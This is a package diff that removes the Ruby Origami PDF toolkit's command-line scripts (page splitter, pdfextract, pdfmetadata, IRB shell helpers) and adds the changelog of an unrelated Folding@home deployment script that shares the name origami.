page.resources - type_rsrc = page.ls_resources(type) - other_rsrc = all_rsrc.keys - type_rsrc.keys - - unless type_rsrc.empty? - # Keep only specified resource type. - output_file = File.join(OUTPUT_DIR, "page_#{n}_keeponly_#{type}.pdf") - PDF.write(output_file) do |pdf| - reduced = page.copy - # New resource dictionary with only matching resources. - reduced.Resources = Resources.new(type => type_rsrc) - # Remove mention of other resources. - reduced.Contents.data = reduced.Contents.data.lines.to_a. - delete_if {|line| other_rsrc.any?{|rsrc| line =~ /#{rsrc}/}}.join - - STDERR.puts "Creating #{output_file}..." - pdf.append_page(reduced) - end - - # Remove all specified resource type. - output_file = File.join(OUTPUT_DIR, "page_#{n}_excluded_#{type}.pdf") - PDF.write(output_file) do |pdf| - reduced = page.copy - # New resource dictionary with no resource of specified type. - reduced.Resources = reduced.Resources.copy - reduced.Resources.delete(type) - # Remove mention this resource type. - reduced.Contents.data = reduced.Contents.data.lines.to_a. - delete_if {|line| type_rsrc.keys.any?{|rsrc| line =~ /#{rsrc}/}}.join - - STDERR.puts "Creating #{output_file}..." - pdf.append_page(reduced) - end - - # Now treating each resource object separately. - type_rsrc.each_pair do |name, rsrc| - anyother_rsrc = all_rsrc.keys - [ name ] - # Keey only specified resource object. - output_file = File.join(OUTPUT_DIR, "page_#{n}_keeponly_#{type}_#{name}.pdf") - PDF.write(output_file) do |pdf| - reduced = page.copy - # New resource dictionary with only specified resource object. - reduced.Resources = Resources.new(type => {name => rsrc}) - # Remove mention of all other resources. - reduced.Contents.data = reduced.Contents.data.lines.to_a. - delete_if {|line| anyother_rsrc.any?{|rsrc| line =~ /#{rsrc}/}}.join - - STDERR.puts "Creating #{output_file}..." - pdf.append_page(reduced) - end - - # Remove only specified resource object. - output_file = File.join(OUTPUT_DIR, "page_#{n}_excluded_#{type}_#{name}.pdf") - PDF.write(output_file) do |pdf| - reduced = page.copy - # New resource dictionary with only specified resource object. - reduced.Resources = reduced.Resources.copy - reduced.Resources[type] = reduced.Resources.send(type).copy - reduced.Resources[type].delete(name) - # Remove mention of this resource only. - reduced.Contents.data = reduced.Contents.data.lines.to_a. - delete_if {|line| line =~ /#{name}/}.join - - STDERR.puts "Creating #{output_file}..." - pdf.append_page(reduced) - end - end - end - end - - params = - { - :verbosity => Parser::VERBOSE_QUIET, - } - pdf = PDF.read(target, params) - - i = @options[:page_range].first + 1 - pdf.pages[@options[:page_range]].each do |page| - case @options[:split_by] - when 'pages' - output_file = File.join(OUTPUT_DIR, "page_#{i}.pdf") - PDF.write(output_file) do |pdf| - STDERR.puts "Creating #{output_file}..." - pdf.append_page(page) - end - - when 'rsrc' - [ Resources::EXTGSTATE, - Resources::COLORSPACE, - Resources::PATTERN, - Resources::SHADING, - Resources::XOBJECT, - Resources::FONT, - Resources::PROPERTIES - ].each { |type| split_by_rsrc(i, page, type) } - - else - raise ArgumentError, "Unknown split option: #{@options[:split_by]}" - end - - i += 1 - end - -rescue SystemExit -rescue Exception => e - STDERR.puts "#{e.class}: #{e.message} #{e.backtrace}" - exit 1 -end - diff -Nru origami-1.2.7/bin/pdfextract origami-1.2.7+really0.7.4/bin/pdfextract --- origami-1.2.7/bin/pdfextract 2013-04-16 13:01:40.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdfextract 1970-01-01 00:00:00.000000000 +0000 @@ -1,285 +0,0 @@ -#!/usr/bin/env ruby - -=begin - -= Author: - Guillaume Delugré - -= Info: - Extracts valuable data from a PDF document. Can extract: - - decoded streams - - JavaScript - - file attachments - -= License: - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -require 'optparse' -require 'rexml/document' - -class OptParser - BANNER = < [-afjms] [-d ] -Extracts various data out of a document (streams, scripts, images, fonts, metadata, attachments). -Bug reports or feature requests at: http://origami-pdf.googlecode.com/ - -Options: -USAGE - - def self.parser(options) - OptionParser.new do |opts| - opts.banner = BANNER - - opts.on("-d", "--output-dir DIR", "Output directory") do |d| - options[:output_dir] = d - end - - opts.on("-s", "--streams", "Extracts all decoded streams") do - options[:streams] = true - end - - opts.on("-a", "--attachments", "Extracts file attachments") do - options[:attachments] = true - end - - opts.on("-f", "--fonts", "Extracts embedded font files") do - options[:fonts] = true - end - - opts.on("-j", "--js", "Extracts JavaScript scripts") do - options[:javascript] = true - end - - opts.on("-m", "--metadata", "Extracts metadata streams") do - options[:metadata] = true - end - - opts.on("-i", "--images", "Extracts embedded images") do - options[:images] = true - end - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - end - - def self.parse(args) - options = - { - } - - self.parser(options).parse!(args) - - options - end -end - -begin - @options = OptParser.parse(ARGV) - - if ARGV.empty? - STDERR.puts "Error: No filename was specified. #{$0} --help for details." - exit 1 - else - target = ARGV.shift - end - - unless [:streams,:javascript,:attachments,:fonts,:metadata,:images].any? {|opt| @options[opt]} - @options[:streams] = - @options[:javascript] = - @options[:fonts] = - @options[:attachments] = - @options[:images] = true - end - - if @options[:output_dir].nil? - @options[:output_dir] = "#{File.basename(target, '.pdf')}.dump" - end - - # Force data extraction, even for invalid FlateDecode streams. - Origami::OPTIONS[:ignore_zlib_errors] = true - - OUTPUT_DIR = @options[:output_dir] - Dir::mkdir(OUTPUT_DIR) unless File.directory?(OUTPUT_DIR) - - params = - { - :verbosity => Parser::VERBOSE_QUIET, - } - pdf = PDF.read(target, params) - - if @options[:streams] - nstreams = 0 - Dir::mkdir("#{OUTPUT_DIR}/streams") unless File.directory?("#{OUTPUT_DIR}/streams") - - pdf.root_objects.find_all{|obj| obj.is_a?(Stream)}.each do |stream| - stream_file = "#{OUTPUT_DIR}/streams/stream_#{stream.reference.refno}.dmp" - File.open(stream_file, "wb") do |fd| - fd.write(stream.data) - end - nstreams += 1 - end - - puts "Extracted #{nstreams} PDF streams to '#{OUTPUT_DIR}/streams'." - end - - if @options[:javascript] - nscripts = 0 - Dir::mkdir("#{OUTPUT_DIR}/scripts") unless File.directory?("#{OUTPUT_DIR}/scripts") - - pdf.ls(/^JS$/).each do |script| - script_file = "#{OUTPUT_DIR}/scripts/script_#{script.hash}.js" - File.open(script_file, "wb") do |fd| - fd.write( - case script - when Stream then - script.data - else - script.value - end - ) - end - nscripts += 1 - end - - # Also checking for presence of JavaScript in XML forms. - if pdf.has_form? and pdf.Catalog.AcroForm.has_key?(:XFA) - xfa = pdf.Catalog.AcroForm[:XFA].solve - - case xfa - when Array then - xml = "" - i = 0 - xfa.each do |packet| - if i % 2 == 1 - xml << packet.solve.data - end - - i = i + 1 - end - when Stream then - xml = xfa.data - else - reject("Malformed XFA dictionary") - end - - xfadoc = REXML::Document.new(xml) - REXML::XPath.match(xfadoc, "//script").each do |script| - script_file = "#{OUTPUT_DIR}/script_#{script.hash}.js" - File.open(script_file, "wb") do |fd| - fd.write(script.text) - end - nscripts += 1 - end - end - - puts "Extracted #{nscripts} scripts to '#{OUTPUT_DIR}/scripts'." - end - - if @options[:attachments] - nattach = 0 - Dir::mkdir("#{OUTPUT_DIR}/attachments") unless File.directory?("#{OUTPUT_DIR}/attachments") - - pdf.ls_names(Names::Root::EMBEDDEDFILES).each do |name, attachment| - attached_file = "#{OUTPUT_DIR}/attachments/attached_#{File.basename(name)}" - spec = attachment.solve - if spec and spec.EF and f = spec.EF.F and f.is_a?(Stream) - File.open(attached_file, "wb") do |fd| - fd.write(f.data) - end - nattach += 1 - end - end - - puts "Extracted #{nattach} attachments to '#{OUTPUT_DIR}/attachments'." - end - - if @options[:fonts] - nfonts = 0 - Dir::mkdir("#{OUTPUT_DIR}/fonts") unless File.directory?("#{OUTPUT_DIR}/fonts") - - pdf.root_objects.find_all{|obj| obj.is_a?(Stream)}.each do |stream| - font = stream.xrefs.find{|obj| obj.is_a?(FontDescriptor)} - if font - font_file = "#{OUTPUT_DIR}/fonts/font_#{File.basename(font.FontName.value.to_s)}" - File.open(font_file, "wb") do |fd| - fd.write(stream.data) - end - nfonts += 1 - end - end - - puts "Extracted #{nfonts} fonts to '#{OUTPUT_DIR}/fonts'." - end - - if @options[:metadata] - nmeta = 0 - Dir::mkdir("#{OUTPUT_DIR}/metadata") unless File.directory?("#{OUTPUT_DIR}/metadata") - - pdf.root_objects.find_all{|obj| obj.is_a?(MetadataStream)}.each do |stream| - metadata_file = "#{OUTPUT_DIR}/metadata/metadata_#{stream.reference.refno}.xml" - File.open(metadata_file, "wb") do |fd| - fd.write(stream.data) - end - nmeta += 1 - end - - puts "Extracted #{nmeta} metadata streams to '#{OUTPUT_DIR}/metadata'." - end - - if @options[:images] - nimages = 0 - Dir::mkdir("#{OUTPUT_DIR}/images") unless File.directory?("#{OUTPUT_DIR}/images") - - pdf.root_objects.find_all{|obj| obj.is_a?(Graphics::ImageXObject)}.each do |stream| - begin - ext, image_data = stream.to_image_file - image_file = "#{OUTPUT_DIR}/images/image_#{stream.reference.refno}.#{ext}" - - if ext != 'png' and stream.ColorSpace == Graphics::Color::Space::DEVICE_CMYK - STDERR.puts "Warning: file '#{image_file}' is intended to be viewed in CMYK color space." - end - - File.open(image_file, "wb") do |fd| - fd.write(image_data) - end - nimages += 1 - - rescue Exception => e - STDERR.puts "Unable to decode image (stream #{stream.reference.refno}). #{e.message}" - end - end - - puts "Extracted #{nimages} images to '#{OUTPUT_DIR}/images'." - end - -rescue SystemExit -rescue Exception => e - STDERR.puts "#{e.class}: #{e.message}" - exit 1 -end - diff -Nru origami-1.2.7/bin/pdfmetadata origami-1.2.7+really0.7.4/bin/pdfmetadata --- origami-1.2.7/bin/pdfmetadata 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdfmetadata 1970-01-01 00:00:00.000000000 +0000 @@ -1,123 +0,0 @@ -#!/usr/bin/env ruby - -=begin - -= Author: - Guillaume Delugré - -= Info: - Prints out the metadata contained in a PDF document. - -= License: - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -require 'optparse' - -class OptParser - BANNER = <] [-i] [-x] -Prints out the metadata contained in a PDF document. -Bug reports or feature requests at: http://origami-pdf.googlecode.com/ - -Options: -USAGE - - def self.parser(options) - OptionParser.new do |opts| - opts.banner = BANNER - - opts.on("-i", "Extracts document info metadata") do |i| - options[:doc_info] = true - end - - opts.on("-x", "Extracts XMP document metadata stream") do |i| - options[:doc_stream] = true - end - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - end - - def self.parse(args) - options = - { - :output => STDOUT, - } - - self.parser(options).parse!(args) - - options - end -end - -begin - @options = OptParser.parse(ARGV) - - unless @options[:doc_info] or @options[:doc_stream] - @options[:doc_info] = @options[:doc_stream] = true - end - - target = (ARGV.empty?) ? STDIN : ARGV.shift - params = - { - :verbosity => Parser::VERBOSE_QUIET, - } - - pdf = PDF.read(target, params) - - if @options[:doc_info] - if pdf.has_document_info? - Console.colorprint "[*] Document information dictionary:\n", Console::Colors::MAGENTA - - docinfo = pdf.get_document_info - docinfo.each_pair do |name, item| - Console.colorprint name.value.to_s.ljust(20, ' '), Console::Colors::GREEN - puts ": #{item.solve.value}" - end - puts - end - end - - if @options[:doc_stream] - if pdf.has_metadata? - Console.colorprint "[*] Metadata stream:\n", Console::Colors::MAGENTA - - metadata = pdf.get_metadata - metadata.each_pair do |name, item| - Console.colorprint name.ljust(20, ' '), Console::Colors::GREEN - puts ": #{item}" - end - end - end - -rescue SystemExit -rescue Exception => e - STDERR.puts "#{e.class}: #{e.message}" - exit 1 -end - diff -Nru origami-1.2.7/bin/pdfsh origami-1.2.7+really0.7.4/bin/pdfsh --- origami-1.2.7/bin/pdfsh 2011-05-25 17:54:53.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdfsh 1970-01-01 00:00:00.000000000 +0000 @@ -1,13 +0,0 @@ -#!/usr/bin/env ruby - -begin - require 'irb' -rescue LoadError - abort "Error: you need to install irb to run this application." -end - -$:.unshift "#{File.dirname(__FILE__)}/shell" -ENV["IRBRC"] = "#{File.dirname(__FILE__)}/shell/.irbrc" - -IRB.start - diff -Nru origami-1.2.7/bin/pdfwalker origami-1.2.7+really0.7.4/bin/pdfwalker --- origami-1.2.7/bin/pdfwalker 2012-05-21 15:40:58.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/pdfwalker 1970-01-01 00:00:00.000000000 +0000 @@ -1,7 +0,0 @@ -#!/usr/bin/env ruby - -$:.unshift "#{File.dirname(__FILE__)}" -require 'gui/walker' - -PDFWalker::Walker.start(ARGV[0]) - diff -Nru origami-1.2.7/bin/shell/console.rb origami-1.2.7+really0.7.4/bin/shell/console.rb --- origami-1.2.7/bin/shell/console.rb 2012-05-19 15:47:37.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/shell/console.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,150 +0,0 @@ -=begin - -= File - console.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'hexdump' - -if RUBY_VERSION < '1.9' - def Kernel.spawn(cmd) - fork do - exec(cmd) - end - end -end - -module Origami - - module Object - def inspect - to_s - end - end - - unless RUBY_VERSION < '1.9' - require 'tempfile' - - class Stream - def edit(editor = ENV['EDITOR']) - tmpfile = Tempfile.new("origami") - tmpfile.write(self.data) - tmpfile.close - - Process.wait Kernel.spawn "#{editor} #{tmpfile.path}" - - self.data = File.read(tmpfile.path) - tmpfile.unlink - - true - end - - def inspect - self.data.hexdump - end - end - - class Page - def edit - self.Contents.edit - end - end - end - - class PDF - - if defined?(PDF::JavaScript::Engine) - class JavaScript::Engine - def shell - while (print 'js> '; line = gets) - begin - puts exec(line) - rescue V8::JSError => e - puts "Error: #{e.message}" - end - end - end - end - end - - class Revision - def to_s - Console.colorprint("---------- Body ----------\n", Console::Colors::WHITE, true) - @body.each_value { |obj| - Console.colorprint("#{obj.reference.to_s.rjust(8,' ')}".ljust(10), Console::Colors::MAGENTA) - Console.colorprint("#{obj.type}\n", Console::Colors::YELLOW) - } - #colorprint("---------- Xrefs -----------\n", Colors::BRIGHT_WHITE, true) - #set_fg_color(Colors::BLUE, true) { - # if not @xreftable - # puts " [x] No xref table found." - # else - # @xreftable.to_s.each_line { |line| - # puts " " + line - # } - # end - #} - Console.colorprint("---------- Trailer ---------\n", Console::Colors::WHITE, true) - if not @trailer.dictionary - Console.set_fg_color(Console::Colors::BLUE, true) { - puts " [x] No trailer found." - } - else - @trailer.dictionary.each_pair { |entry, value| - Console.colorprint(" [*] ", Console::Colors::MAGENTA) - Console.colorprint("#{entry.to_s}: ", Console::Colors::YELLOW) - Console.colorprint("#{value.to_s}\n", Console::Colors::RED) - } - Console.colorprint(" [+] ", Console::Colors::MAGENTA) - Console.colorprint("startxref: ", Console::Colors::YELLOW) - Console.colorprint("#{@trailer.startxref}\n", Console::Colors::RED) - end - end - - def inspect - to_s - end - end - - def to_s - puts - - Console.colorprint("---------- Header ----------\n", Console::Colors::WHITE, true) - Console.colorprint(" [+] ", Console::Colors::MAGENTA) - Console.colorprint("Major version: ", Console::Colors::YELLOW) - Console.colorprint("#{@header.majorversion}\n", Console::Colors::RED) - Console.colorprint(" [+] ", Console::Colors::MAGENTA) - Console.colorprint("Minor version: ", Console::Colors::YELLOW) - Console.colorprint("#{@header.minorversion}\n", Console::Colors::RED) - - @revisions.each { |revision| - revision.to_s - } - puts - end - - def inspect - to_s - end - end -end - diff -Nru origami-1.2.7/bin/shell/hexdump.rb origami-1.2.7+really0.7.4/bin/shell/hexdump.rb --- origami-1.2.7/bin/shell/hexdump.rb 2011-05-31 19:55:38.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/shell/hexdump.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,83 +0,0 @@ -=begin - -= File - hexdump.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2009 Guillaume Delugr - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with Origami. If not, see . - -=end - -if RUBY_VERSION < '1.9' - class Fixnum - def ord; self; end - end -end - -class String #:nodoc: - - def hexdump(bytesperline = 16, upcase = true, offsets = true, delta = 0) - - dump = "" - counter = 0 - - while counter < length - - offset = sprintf("%010X", counter + delta) - - linelen = (counter < length - bytesperline) ? bytesperline : (length - counter) - bytes = "" - linelen.times do |i| - - byte = self[counter + i].ord.to_s(base=16) - if byte.size < 2 then byte.insert(0, "0") end - bytes << byte - bytes << " " unless i == bytesperline - 1 - - end - - ascii = self[counter, linelen].ascii_print - - if upcase - offset.upcase! - bytes.upcase! - end - - if RUBY_PLATFORM =~ /win32/ - dump << "#{offset if offsets} #{bytes.to_s.ljust(bytesperline * 3 - 1)} #{ascii}\n" - else - dump << "#{Console.colorize(offset, Console::Colors::YELLOW) if offsets} #{Console.colorize(bytes.to_s.ljust(bytesperline * 3 - 1), Console::Colors::BRIGHT_GREY)} #{ascii}\n" - end - - counter += bytesperline - end - - dump - end - - def ascii_print - - printable = "" - self.each_byte { |c| - if c >= ' '[0].ord && c <= '~'[0].ord then printable << c else printable << '.' end - } - - return printable - end - -end diff -Nru origami-1.2.7/bin/shell/.irbrc origami-1.2.7+really0.7.4/bin/shell/.irbrc --- origami-1.2.7/bin/shell/.irbrc 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/shell/.irbrc 1970-01-01 00:00:00.000000000 +0000 @@ -1,106 +0,0 @@ -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -require 'console.rb' -require 'readline' - -OPENSSL_SUPPORT = (defined?(OpenSSL).nil?) ? 'no' : 'yes' -JAVASCRIPT_SUPPORT = (defined?(PDF::JavaScript::Engine).nil?) ? 'no' : 'yes' -DEFAULT_BANNER = "Welcome to the PDF shell (Origami release #{Origami::VERSION}) [OpenSSL: #{OPENSSL_SUPPORT}, JavaScript: #{JAVASCRIPT_SUPPORT}]\n\n" - -def set_completion - - completionProc = proc { |input| - bind = IRB.conf[:MAIN_CONTEXT].workspace.binding - - validClasses = Origami.constants.reject do |name| - obj = Origami.const_get(name) - (not obj.is_a?(Module) and not obj.is_a?(Class)) or obj <= Exception - end - - case input - -# # Classes -# when /^([A-Z][^:\.\(]*)$/ -# classname = $1 -# candidates = validClasses -# return candidates.grep(/^#{classname}/) -# -# # Methods -# when /^([^:.\(]*)\.([^:.]*)$/ -# classname = $1 -# method = Regexp.quote($2) -# candidates = [] -# if validClasses.include? $1 -# begin -# candidates = eval("Origami::#{classname}.methods", bind) -# rescue Exception -# candidates = [] -# end -# return candidates.grep(/^#{method}/).collect{|e| classname + "." + e} -# else -# begin -# var = $1.dup -# classname = eval("#{classname}.class", bind).to_s -# if validClasses.include?(classname.split("::").last) -# candidates = eval("#{classname}.public_instance_methods", bind) -# end -# rescue Exception => e -# candidates = [] -# end -# return candidates.grep(/^#{method}/).collect{|e| var + "." + e} -# end -# - # Mod/class - when /^(.*)::$/ - begin - space = eval("Origami::#{$1}", bind) - rescue Exception - return [] - end - - return space.constants.reject{|const| space.const_get(const) <= Exception} - - when /^(.*).$/ - begin - space = eval($1, bind) - rescue - return [] - end - - return space.public_methods - end - } - - if Readline.respond_to?("basic_word_break_characters=") - Readline.basic_word_break_characters= " \t\n\"\\'`><=;|&{(" - end - Readline.completion_append_character = nil - Readline.completion_proc = completionProc - -end - -def set_prompt - - IRB.conf[:PROMPT][:PDFSH] = { - :PROMPT_C => "?>> ", - :RETURN => "%s\n", - :PROMPT_I => ">>> ", - :PROMPT_N => ">>> ", - :PROMPT_S => nil - } - - IRB.conf[:PROMPT_MODE] = :PDFSH - -end - -Console.colorprint(DEFAULT_BANNER, Console::Colors::GREEN) -#set_completion -set_prompt - diff -Nru origami-1.2.7/changelog origami-1.2.7+really0.7.4/changelog --- origami-1.2.7/changelog 1970-01-01 00:00:00.000000000 +0000 +++ origami-1.2.7+really0.7.4/changelog 2010-05-24 20:04:00.000000000 +0000 @@ -0,0 +1,302 @@ +origami (0.7.4) lucid; urgency=low + + * added support for -advmethods + * changed size option from -b to -s + * license changed to BSD + * network-status no longer requires root + * support/documentation now links to http://origami.zelut.org + + -- Christer Edwards Mon, 24 May 2010 14:00:57 -700 + +origami (0.7.3) lucid; urgency=low + + * impoved stats system + * fixed console return issue after start/stop + * fixed CentOS support + * added Gentoo support + * added core-priority support + * added config option (-configonly) + + -- Christer Edwards Mon, 08 Feb 2010 13:51:50 -700 + +origami (0.7.1.6) lucid; urgency=low + + * replaced gnome-open based stats function with nhandler parse-stats patch + * reverted status function to original state (unitinfo data only) + + -- Christer Edwards Mon, 30 Nov 2009 20:34:13 -700 + +origami (0.7.1) jaunty; urgency=low + + * fixed error message reported when checking status before WU assignment + * fixed network deployment bug with no passkey assigned #378347 + + -- Christer Edwards Sat, 26 Sept 2009 13:49:13 -700 + +origami (0.6.9) intrepid; urgency=low + + * patched root check bug #187218 + * added passkey support #296950 + + -- Christer Edwards Wed, 12 Nov 2008 10:13:13 -700 + +origami (0.6.8.3) hardy; urgency=low + + * patched proxy bug (default to active proxy) as introduced in 0.6.8.1 + * updated --help to include --monitor, --status and network equivalents + * removed battery and power management code + + -- Christer Edwards Mon, 21 July 2008 15:23:10 -700 + +origami (0.6.8.2) hardy; urgency=low + + * continued cleanup of network-archive function + * removed code for deleting archive data on remote machine + + -- Christer Edwards Wed, 28 May 2008 13:50:45 -0600 + +origami (0.6.8.1) hardy; urgency=low + + * added local proxy support + * cleaned up network-archive function for efficiency + * updated --help output to list proxy support + + -- Christer Edwards Wed, 28 May 2008 13:50:45 -0600 + +origami (0.6.8) hardy; urgency=low + + * added battery check to origami_start + * added battery override to origami_start (-b|--battery) + * finished support for proxy settings via defining HOST and PORT + * added openSUSE 11 to known distro list + + -- Christer Edwards Sun, 18 May 2008 16:37:30 -0600 + +origami (0.6.7.1) hardy; urgency=low + + * added support (beta) for defining the proxy + * added support for "amd64" as a processor option + * added support for "status" in addition to "monitor" + + -- Christer Edwards Tue, 13 May 2008 20:03:51 -0700 + +origami (0.6.7) hardy; urgency=low + + * fixed migration function + * improved error checking + * fixed minor issue in network_monitor function + + -- Christer Edwards Sun, 27 Apr 2008 10:48:32 -0600 + +origami (0.6.6.2) hardy; urgency=low + + * added local start and stop functions 'origami start|stop' + * added proper exit statuses for functions added in previous release + * minor code formatting + * fixed init script bug that broke during transition from folding.sh + * added delay to network_monitor to make it more readable + * added clear to network_monitor + * added clear to armageddon + * added username & team listing on monitor & network_monitor + + -- Christer Edwards Mon, 21 Apr 2008 19:31:02 -0400 + +origami (0.6.6.1) hardy; urgency=low + + * significant speed improvement for network functions + * added network-start & network-stop functions + * moved distro check (for useradd logic) into install function + * removed a few more error check functions from SSH commands + * fixed error check output for network-monitor + * fixed test statements for armageddon function + + -- Christer Edwards Sat, 19 Apr 2008 09:55:20 -0600 + +origami (0.6.6) hardy; urgency=low + + * made deploy function more efficient by backgrounding connections + * non-priv users now have access to non-priv functions (version, help, etc) + * made erase function smarter -- added a few checks + * added SSHOPTS variable to the functions that need it (oops) + * VERSION variable now inside origami_sanity_check function + * globalized the SSHOPTS variable + * removed SUID bits + + -- Christer Edwards Fri, 11 Apr 2008 17:11:46 -0400 + +origami (0.6.5) hardy; urgency=low + + * transitioning from "folding.sh" to "origami" + * re-instituted the version option + * minor update to root shell check syntax + * added removal of remote archives during archive/restore + * added verification checks for armageddon function + * fixed root shell-check test (grep | cut vs awk) + * fixed broken changelog format + + -- Christer Edwards Fri, 11 Apr 2008 12:34:33 -0400 + +folding (0.6.4) hardy; urgency=low + + * workaround for bug #187218 + * fixed bug #200026 + * cleaned up references to obsolete config path + * removed UPG checks and settings + * fixed system user creation (#200026) + + -- Christer Edwards Wed, 08 Apr 2008 20:04:00 -0400 + +folding (0.6.3) hardy; urgency=low + + * removed rogue debug code + * initial .deb package release + + -- Christer Edwards Tue, 06 Apr 2008 12:00:00 -0400 + +folding (0.6.2) gutsy; urgency=low + + * updated changelog format + * made local archive smarter (check / create .folding/) + + -- Christer Edwards Sat, 24 Dec 2007 12:00:00 -0600 + +folding (0.6.1) gutsy; urgency=low + + * added -c|--cron toggle to auto-activate cron schedule + * replace -c|--core with the cron option above, moved to -p|--proc + + -- Christer Edwards Tue, 20 Dec 2007 12:00:00 -0600 + +folding (0.6) gutsy; urgency=low + + * **BIG thanks to Stuart Jansen for the getopts improvements and help.** + * continued code cleanup, organization of functions + * added eight new functions in this release: + * local archiving (archive) + * remote archiving (network-archive) + * local restoration (restore) + * remote restoration (network restore) + * local monitoring (monitor) + * remote monitoring (network-monitor) + * armageddon cleanup (wipe out everything) + * network-rename (network-rename) + * *much* smarter deployment option + * reads a ~/.foldingrc config file + * takes a list of hostnames or IPs to deploy + * backup data is now stored in ~/.folding as 'hostname-date.tar.bz2' + * the install function can now take a name, team and cores as arguments + * still automated if above options are omitted + * rename function changed to name + * also added remote renaming via network-rename + * old options now called without - or --; ie + * 'install' + * 'deploy' + * 'name' + * 'archive' + * 'network-archive' + * 'restore' + * 'network-restore' + * 'help' + * 'monitor' + * 'network-monitor' + * 'erase' + * the install function now checks to make sure it isn't already installed + * added vim modelines for standardization + * added vim fold markers (:set foldmethod=marker) + * added an 'armageddon' function undocumented outside of the changelog + * connects to machines listed in ~/.foldingrc and wipes out all data + * added support for smp and the Folding v6 beta using -c|--core option + * improved bandwidth usage upon installation + * faster install time + + -- Christer Edwards Tue, 20 Dec 2007 12:00:00 -0600 + +folding (0.5.2.2) gutsy; urgency=low + + * cleaned up some code and sanity checks + * fixed broken cron setup + * fixed LP bug -175460 + + -- Christer Edwards Sat, 17 Dec 2007 12:00:00 -0600 + +folding (0.5.2.1) gutsy; urgency=low + + * removed the --install name change. use --rename instead + * minor updates to the README explaining updates + + -- Christer Edwards Mon, 28 Nov 2007 12:00:00 -0600 + +folding (0.5.2) gutsy; urgency=low + + * added client renaming function based on user feedback + * updated working path to /var/lib/folding for compliance + * added cron table creation for 8-5 shutdown of service (optional) + * updated README to include instructions on above + + -- Christer Edwards Fri, 25 Nov 2007 12:00:00 -0600 + +folding (0.5.1) gutsy; urgency=low + + * added feature to --install to allow name and team change + * added and updated tests for wget or curl + + -- Christer Edwards Fri, 18 Nov 2007 12:00:00 -0600 + +folding (0.4.9) feisty; urgency=low + + * finalization and cleanup from 0.4.9-alpha + * added checks for user-private-group for smarter ownership changes + * consolidated user and home folder creation + + -- Christer Edwards Wed, 28 Sep 2007 12:00:00 -0600 + +folding (0.4.9) feisty; urgency=low + + * continued code cleanup with contributions from Jeff Schroeder + * consolidated folding-deploy, folding-install and client.cfg to single script + * supports --install, --deploy, --remove and --help switches + * supports -i, -d, -r, -h for short options of the above + * added built-in uninstaller + * this release considered alpha pending 0.5 final + + -- Christer Edwards Tue, 27 Sep 2007 12:00:00 -0600 + +folding (0.4.1) feisty; urgency=low + + * complete code audit done by Jeff Schroeder, many thanks + * code cleanup, efficiency audit, etc. no new features / bugfixes + + -- Christer Edwards Thur, 1 Sep 2007 12:00:00 -0600 + +folding (0.4) feisty; urgency=low + + * updated naming to more simple 'folding' from FAH-* + * general code cleanup + * made it flexible enough to be added to RHEL/FC kickstart files and clean up after itself. + * TODO: make it more network-smart for the deploy script. + + -- Christer Edwards Sun, 21 Aug 2007 12:00:00 -0600 + +folding (0.3) feisty; urgency=low + + * updated init.d script installer to be more flexible. + * now uses installService from the finstall package vs my original steps + * FAH-installer.sh and FAH-deploy.sh should be executable by default + * added this (changelog) file to track updates + + -- Christer Edwards Mon, 25 Jun 2007 12:00:00 -0600 + +folding (0.2) feisty; urgency=low + + * updated FAH-deploy.sh to use 'ip neigh show' to be more flexible on network deploy + * general cleanup of FAH-deploy.sh + + -- Christer Edwards Sat, 18 Jun 2007 12:00:00 -0600 + +folding (0.1) feisty; urgency=low + + * initial release + * tested on Ubuntu 7.04, FC6, F7, OEL 4, RHEL5, SLES10, SUSE10.1 + * included FAH-installer.sh and FAH-deploy.sh + + -- Christer Edwards 